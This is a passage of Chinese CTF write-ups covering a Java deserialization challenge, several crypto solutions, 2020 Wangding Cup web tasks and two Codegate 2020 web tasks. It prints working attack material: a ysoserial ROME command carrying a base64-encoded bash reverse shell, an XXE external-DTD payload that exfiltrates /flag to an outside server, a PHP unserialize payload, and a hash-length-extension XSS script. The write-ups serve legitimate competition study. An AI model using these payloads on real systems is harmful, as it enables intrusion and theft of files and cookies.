        table.setTableDescribe(rs.getString("TABLE_COMMENT")); 
      table.setTableName(TableName);
      ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
      ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);
      String PK;
      for (PK = ""; rs2.next(); PK = rs2.getString(4));
      while (data.next()) {
        Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
        table.list.add(row);
      } 
      Tables.add(table);
    } 
  } catch (SQLException var16) {
    var16.printStackTrace();
  } 
  return Tables;
}
有注入的样子，把dbname拼接到了语句里。
应该是注入出用户名密码，然后登陆，登陆后面还有题。
但是我们传入的 dbname需要正确连接，同时还要注入，可以用#截断使jdbc正常连接，然后注入payload放到后面。
可以注入出用户名和密码：
用户名是 admin，密码是admin@Rrrr_ctf_asde。
登陆，发现给了个token。
Bearer后面部分明显是序列化数据的base64编码，还有个current接口，我们把token post过去，发现校验成功。
思路很清晰了，current会反序列化我们传入的数据，我们需要 getshell，但是没有gadget。。。
比赛的时候卡在了这里。。。本来这个题放出来一阵子都只有3个队做出来，后来突然就几十支了，佛了。
赛后问了一波，貌似是用ysoserial挨个exp打？
ysoserial 是个集成了java反序列化exp的工具，github在这里：https://github.com/frohoff/ysoserial。
这个题是用 ROME 打的，首先下载ysoserial文件，因为java 反弹shell容易出问题，找了个在线网站改一下payload：http://www.jackson-t.ca/runtime-exec-payloads.html
1
java -jar ysoserial-master-SNAPSHOT.jar ROME 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MTc4LTg5N2VhMDQwLTU2YzAtNDg2NC04NWM1LWE4YWY4ZmJjMmY4ZS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}' | base64
把生成的base64，current接口发过去（记得前面加Bearer。。因为没加Bearer找了半天问题orz）
可以弹到shell：
顺便说一句，如果打不成，可以试着先用ysoserial的URLDNS模块测试反序列化是否可以用，先把URLDNS打成。
Crypto
Simple
仿射密码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import string
import gmpy2

enc = "kgws{m8u8cm65-ue9k-44k5-8361-we225m76eeww}"
k1 = 123456 % 26
k2 = 321564 % 26

flag = ""
for c in enc:
    if c not in string.ascii_lowercase:
        flag += c
    else:
        for m in string.ascii_lowercase:
            if (k1 * (ord(m) - ord('a')) + k2) % 26 == ord(c) - ord('a'):
                flag += m
                break
print flag
RUA
三组n与c，没有e，n都很大，相互互素。
考虑中国剩余定理，然后开三次方，开不出来。N有大约6000多bit，爆破e开方，发现是17次方。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-
import gmpy2
from Crypto.Util.number import *
def GCRT(mi, ai):
    # mi,ai分别表示模数和取模后的值,都为列表结构
    assert (isinstance(mi, list) and isinstance(ai, list))
    curm, cura = mi[0], ai[0]
    for (m, a) in zip(mi[1:], ai[1:]):
        d = gmpy2.gcd(curm, m)
        c = a - cura
        assert (c % d == 0) #不成立则不存在解
        K = c / d * gmpy2.invert(curm / d, m / d)
        cura += curm * K
        curm = curm * m / d
    return (cura % curm, curm) #(解,最小公倍数)

n1 = 18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393
c1 = 8024667293310019199660855174436055144348010556139300886990767145319919733369837206849070207955417356957254331839203914525519504562595117422955140319552013305532068903324132309109484106720045613714716627620318471048195232209672212970269569790677144450501305289670783572919282909796765124242287108717189750662740283813981242918671472893126494796140877412502365037187659905034193901633516360208987731322599974612602945866477752340080783296268396044532883548423045471565356810753599618810964317690395898263698123505876052304469769153374038403491084285836952034950978098249299597775306141671935146933958644456499200221696
c2 = 17388575106047489057419896548519877785989670179021521580945768965101106268068805843720622749203590810185213416901978773748832854888898576822477243682874784689127705334243899967896321836688567602323551986980634884700045627950473546069670440078998428940082620044462222475031805594211784370238038168894827559017562364252406425134530719911057780692073760058203345936344269833206906999625580911856011564697811258009937314511410514416706482571471852503756675411177080916350899445106002226392895645443215522671155311715637759618276305217468892076287376401516124640727839779731609203202530346427613422430202271506248285086956
n2 = 21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883
c3 = 5170826942130658374627267470548549396328896108666717036999395626588154882531377393671593939192779292151584678688653835775920356845071292462816417186595460417761844407911946323815187102170021222644920874070699813549492713967666736815947822200867353461264579419205756500926218294604616696969184793377381622818381733352202456524002876336304465082656612634304327627259494264840838687207529676882041997761204004549052900816658341867989593333356630311753611684503882509990853456022056473296726728969894815574884063807804354952314391764618179147583447848871220103094864884798102542377747761263052887894135796051521881179607
n3 = 22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789

m =  GCRT([n1,n2,n3],[c1,c2,c3])[0]
for e in range(1,65538):
    flag = long_to_bytes(gmpy2.iroot(m,e)[0])
    if "flag" in flag:
        print flag
        exit()
guess_game
需要解出前面的方程，得到第7个d，才可以有得到后面10个输出的机会。
1
2
3
4
5
6
7
8
a = getPrime(64)
b = getPrime(64)
c = getPrime(64)
d = int(urandom(8).encode('hex'),16)
code = []
for i in range(7):
    d = (d * a + c) % b
    code.append(d)
给了前六个d，需要求出第七个d。解方程比较麻烦在于b是模数并且未知。
参考https://math.stackexchange.com/questions/1861606/solving-linear-congruences-with-unknown-modulus。
我们目前拥有5个方程：
1
2
3
4
5
x1*a + c = x2 mod b
x2*a + c = x3 mod b
x3*a + c = x4 mod b
x4*a + c = x5 mod b
x5*a + c = x6 mod b
大致思路就是通过等式相减，得到一些 x*a=y mod b的方程，然后挑两个互素的x作为基底，通过这两个式子构造出 a=m mod b，再任意挑选一 x0*a=y0 mod b，得到:
1
m*x0=y0 mod b
得到 b|(m*x2-y2)，再分解b，找出其中的64bit的素数，就还原了b。还原b后a和c就好算了。
然后有十次机会猜数，game其实是个39bit的lfsr，初态与key未知，需要78bit还原，正常情况下得到78bit需要十个数，但是十个数错误后直接退出了，所以需要猜十次的过程中，猜对一个。（写个循环爆破）
概率是 1-(255/256)^10，大约是 3%。
猜对后，可以根据78bit还原初态与key，和去年de1ctf的思路一样，解方程组就好了，高斯消元法，可以参考http://igml.top/2019/08/04/2019-de1ctf/#babylfsr
脚本：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
# -*- coding: utf-8 -*-
from pwn import *
import gmpy2
import os

context.log_level = 'debug'


class Game:
    def __init__(self, n, key, r, b):
        self.n = n
        self.key = key
        self.r = r & (2 ** self.n - 1)
        self.b = b

    def out(self):
        o = self.r & 1
        p = self.r & self.key
        q = 0
        while p:
            q = q + p & 1
            p = p >> 1
        q = q & 1
        t = q << (self.n - 2) & (2 ** self.n - 1)
        self.r = t | (self.r >> 1) & (2 ** self.n - 1)
        return o

    def next(self):
        res = 0
        for i in range(self.b):
            o = self.out()
            res |= o << (self.b - 1 - i)
        return res


def egcd(a, b):
    if b == 0:
        return 1, 0
    else:
        x, y = egcd(b, a % b)
        return y, x - a / b * y


def get_mask(stream):
    dim = 39
    left, right = stream[:39], stream[39:]
    magic = [map(int, list(right[:i][::-1] + left[:(39 - i)])) for i in range(39)]
    cipher = map(int, list(right))
    print len(cipher)
    assert len(cipher) == 39
    # 高斯消元
    for j in range(dim):
        for i in range(j, dim):
            if magic[i][j] == 1:
                magic[i], magic[j] = magic[j], magic[i]
                cipher[i], cipher[j] = cipher[j], cipher[i]
                break
        for i in range(dim):
            if magic[i][j] == 1 and i != j:
                for k in range(dim):
                    magic[i][k] ^= magic[j][k]
                cipher[i] ^= cipher[j]
    return int(''.join(map(str, cipher)), 2)


time = 1
while True:
    r = remote('59.110.243.101', 5123)
    r.sendlineafter('Your choice:', '2')
    n = []
    r.recvuntil("Baby:")
    tmp = r.recvuntil("\n")
    n.append(int(tmp))
    r.recvuntil("Easy:")
    tmp = r.recvuntil("\n")
    n.append(int(tmp))
    r.recvuntil("Normal:")
    tmp = r.recvuntil("\n")
    n.append(int(tmp))
    r.recvuntil("Hard:")
    tmp = r.recvuntil("\n")
    n.append(int(tmp))
    r.recvuntil("Master:")
    tmp = r.recvuntil("\n")
    n.append(int(tmp))
    r.recvuntil("Crazy:")
    tmp = r.recvuntil("\n")
    n.append(int(tmp))
    n1, n2, n3, n4, n5, n6 = n
    a = n2 - n1
    b = n3 - n2
    c = n4 - n3
    if gmpy2.gcd(a, b) != 1:
        r.close()
        continue
    x, y = egcd(a, b)
    try:
        assert x * a + y * b == 1
    except:
        r.close()
        continue
    d = b * x + c * y
    m_bei = abs(d * (n5 - n4) - (n6 - n5))
    data = os.popen('sage test.sage %s' % str(m_bei)).read()  # 分解
    data = data.split(" * ")
    m = 0
    for i in data:
        try:
            if int(i).bit_length() == 64:
                m = int(i)
        except:
            pass
    info(m)
    aa = (gmpy2.invert(a, m) * b) % m
    cc = (n2 - n1 * aa) % m
    res = (aa * n6 + cc) % m
    success(res)
    r.sendline(str(res))
    r.sendlineafter("Your choice:", "1")
    answer = []
    flag = False
    for _ in range(10):
        r.sendlineafter("Input your answer:", "1")
        if "Right" in r.recvuntil("!"):
            flag = True
        r.recvuntil("The answer is")
        answer.append(int(r.recvuntil("!").strip("!")))
    if not flag:
        info('times:' + str(time))
        time += 1
        continue
    info('success!')
    init = ""
    for i in answer[:5]:
        init += bin(i)[2:].zfill(8)
    init = init[::-1]
    first = init[0]
    init = init[1:]
    rr = int(init, 2)
    res = ""
    for i in answer[5:]:
        res += bin(i)[2:].zfill(8)
    res = (first + res)[:-2]
    key = get_mask(init + res)
    game = Game(40, key, rr, 8)
    assert [game.next() for i in range(10)] == answer
    break

for i in range(500):
    r.sendlineafter("Input your answer:", str(game.next()))

r.interactive()

跑了很多次，结果：



2020网鼎杯-青龙组wp
2020-05-13T02:25:37.000Z
Web
AreUSerialz
题目源码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
我们选择读文件，op 处弱类型绕过即可，由于是potected 属性，正常反序列化中会有\0，这个题过滤了不可见字符，需要改成public，或者使用p神提到的S大写，后面可以使用hex编码，即\00。
1
?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:1:%22%22}
filejava
上传文件，下载文件，发现下载文件处存在任意文件下载，很多../即可。提示在/flag，但是读取不了，应该是过滤了。
读取web.xml
可以看到 file_in_java，读取 file_in_java.war，拉下源码分析，发现有excel处理：
想到excel解析时的xxe，参考https://www.jishuwen.com/d/2inW/zh-hk，在[Content_Types].xml里插入：
1
2
3
4
convert [ 
remote SYSTEM "http://vps/ext.dtd">
%remote;%ccc;%ddd;
]>
ext.dtd
1
bbb SYSTEM "file:///flag">ccc "">
2121端口起个ftp，可以读到flag：
notes
没啥功能，/status执行命令比较可疑。搜了搜undefsafe有原型链污染，思路就是给Object加个属性，值是我们要执行的命令，然后/status遍历的时候就可以执行命令了。
先修改note处污染：
再访问/status，可以弹到shell
Crypto
you_raise_me_up
1
2
3
4
5
6
7
from Crypto.Util.number import *
n = 2**512
m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499

flag = discrete_log(Mod(c,n),Mod(m,n))
print(long_to_bytes(flag))
1
2
  sage exp1.sage
b'flag{5f95ca93-1594-762d-ed0b-a9139692cb4a}'



2020 Codegate Web题解
2020-02-10T08:19:09.000Z
1
文章首发于安全客 https://www.anquanke.com/post/id/198479
Codegate 还是有很多国际强队参加的，这里记录两道 Codegate Web题。
CSP
分析
题目给了 api.php 的代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

require_once 'config.php';

if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
    die("?");
}

$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];

if(md5($salt.$api_string) !== $sig){
    die("??");
}

//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...
$apis = explode("|", $api_string);
foreach($apis as $s) {
    $info = explode(",", $s);
    if(count($info) != 3)
        continue;
    $n = base64_decode($info[0]);
    $p1 = base64_decode($info[1]);
    $p2 = base64_decode($info[2]);

    if ($n === "header") {
        if(strlen($p1) > 10)
            continue;
        if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
            continue;
        header("$p1: $p2");
    }
    elseif ($n === "cookie") {
        setcookie($p1, $p2);
    }
    elseif ($n === "body") {
        if(preg_match("/<.*>/", $p1))
            continue;
        echo $p1;
        echo "\n
\n";
    }
    elseif ($n === "hello") {
        echo "Hello, World!\n";
    }
}

题目的 CSP 的策略是 default-src 'self'; script-src 'none'; base-uri 'none';，这基本给堵死了，直接打 cookie 不可能了。
index.php 可以给一个API，得到签名，但是不支持一次多个API，我们没有 key，这里明显是一个哈希长度扩展攻击的考点，采用 salt+msg的方式进行哈希。
接着 api.php，发现可以设置 header，设置 cookie，输出内容。设置 header做了一定过滤，无法覆盖 CSP 设置。body 这部分过滤没啥用，preg_match 的 . 不匹配 \n。
关键在于使 CSP 失效，可以设置 HTTP 状态码为 102 使 CSP 失效，同时可以执行js。为了验证我本地写了个 php：
1
2
3
4
5
6

header("Content-Security-Policy: default-src 'self'; script-src 'none';");
header("HTTP/: 102");
?>


我用 nimmis/apache-php7 这个镜像起了个 docker，发现 chrome 是不可以的：
开始以为 chrome 版本问题，试了旧版本还是不行。
我用 mac 自带的 apache 和 php 环境试了一下，发现是可以的。。。
这与 server 还有关系？感兴趣的师傅可以研究解答一下…
这道题的环境也是可以的，我们随便拿到一个签名，然后用哈希扩展攻击得到想要的签名。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import hashpumpy

url = "http://110.10.147.166/"


def get_sig():
    res = requests.get(url + "view.php", params={'name': 'gml', 'p1': 'gml', 'p2': 'gml'}).content
    sig, msg = res.split("/api.php?sig=")[1].split('">')[0].split("&q=")
    return sig, msg.decode("base64")


sig, msg = get_sig()

api1 = ['header', 'HTTP/', '102']
api2 = ['body', 'alert(1)', '']

new_msg = "|%s|%s" % (
    ','.join(c.encode("base64").strip() for c in api1), ','.join(c.encode("base64").strip() for c in api2))

# len(salt)=12
new_sig, q = hashpumpy.hashpump(sig, msg, new_msg, 12)
q = q.encode("base64")
print('{}api.php?sig={}&q={}'.format(url, new_sig, q))
访问，发现可以弹窗：
改变 xss payload 为打 cookie的，提交给 bot，可以打到cookie：
Render
Description
1
2
3
4
5
6
It is my first flask project with nginx. Write your own message, and get flag!

http://110.10.147.169/renderer/ 
http://58.229.253.144/renderer/

DOWNLOAD : http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/022fd23aa5d26fbeea4ea890710178e9
下载可以得到 settings/run.sh：
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

service nginx stop
mv /etc/nginx/sites-enabled/default /tmp/
mv /tmp/nginx-flask.conf /etc/nginx/sites-enabled/flask

service nginx restart

uwsgi /home/src/uwsgi.ini &
/bin/bash /home/cleaner.sh &

/bin/bash
以及 docker file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FROM python:2.7.16

ENV FLAG CODEGATE2020{**DELETED**}

RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi

ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf

ADD prob_src/static /home/static
RUN chmod 777 /home/static

RUN mkdir /home/tickets
RUN chmod 777 /home/tickets

ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh

ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh

CMD ["/bin/bash", "/home/run.sh"]
我们能从中得到的主要是目录结构，结合题目描述 nginx，应该存在 nginx 目录遍历。
http://110.10.147.169/static../src/uwsgi.ini，可以下到文件。
获取源码
读源码：
http://110.10.147.169/static../src/app/__init__.py：
1
2
3
4
5
6
7
8
from flask import Flask
from app import routes
import os

app = Flask(__name__)
app.url_map.strict_slashes = False
app.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")
读routes：
``http://110.10.147.169/static../src/app/routes.py`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprint
import urllib2
import time
import hashlib

from os import path
from urlparse import urlparse

front = Blueprint("renderer", __name__)

@front.before_request
def test():
    print(request.url)

@front.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    
    url = request.form.get("url")
    res = proxy_read(url) if url else False
    if not res:
        abort(400)

    return render_template("index.html", data = res)

@front.route("/whatismyip", methods=["GET"])
def ipcheck():
    return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())

@front.route("/admin", methods=["GET"])
def admin_access():
    ip = get_ip()
    rip = get_real_ip()

    if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
        abort(403)

    if ip != rip: #if use proxy
        ticket = write_log(rip)
        return render_template("admin_remote.html", ticket = ticket)

    else:
        if ip == "127.0.0.2" and request.args.get("body"):
            ticket = write_extend_log(rip, request.args.get("body"))
            return render_template("admin_local.html", ticket = ticket)
        else:
            return render_template("admin_local.html", ticket = None)

@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
    ip = get_ip()
    rip = get_real_ip()

    if ip != rip: #proxy doesn't allow to show ticket
        print 1
        abort(403)
    if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
        print 2
        abort(403)
    if request.headers.get("User-Agent") != "AdminBrowser/1.337":
        print request.headers.get("User-Agent")
        abort(403)
    
    if request.args.get("ticket"):
        log = read_log(request.args.get("ticket"))
        if not log:
            print 4
            abort(403)
        return render_template_string(log)

def get_ip():
    return request.remote_addr

def get_real_ip():
    return request.headers.get("X-Forwarded-For") or get_ip()

def proxy_read(url):
    #TODO : implement logging
    
    s = urlparse(url).scheme
    if s not in ["http", "https"]: #sjgdmfRk akfRk
        return ""

    return urllib2.urlopen(url).read()

def write_log(rip):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        log_str = "Admin page accessed from %s" % rip
        f.write(log_str)
    
    return tid

def write_extend_log(rip, body):
    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
    with open("/home/tickets/%s" % tid, "w") as f:
        f.write(body)

    return tid

def read_log(ticket):
    if not (ticket and ticket.isalnum()):
        return False
    
    if path.exists("/home/tickets/%s" % ticket):
        with open("/home/tickets/%s" % ticket, "r") as f:
            return f.read()
    else:
        return False
分析
可以发现我们 flag 在 config 中，想到 SSTI。
题目还提供了一个类似 SSRF 的功能，让服务器帮我们去请求，这里用的是 urllib2.urlopen(url)，这里存在 http 头注入的问题。
再看一下 admin 接口，会把 rip，也就是 xff 头写到日志里，我们可以通过 /admin/ticket 接口来访问日志（当然我们有了目录遍历，也可以直接下载）
如何才能 SSTI 呢，当访问 /admin/ticket 接口时会把日志结果用 render_template_string渲染，所以我们的思路很清楚了：把 SSTI payload 先放到 xff 头里，访问 admin 接口把 payload 写到日志里，再去访问 /admin/ticket 接口实现 SSTI，头部控制可以利用 urllib 的 HTTP 注入。
exp
首先请求 /admin:
得到 ticket，再请求 /admin/ticket：
参考：
https://ctftime.org/writeup/18264
https://blog.rwx.kr/codegate-ctf-2020-preliminary/#csp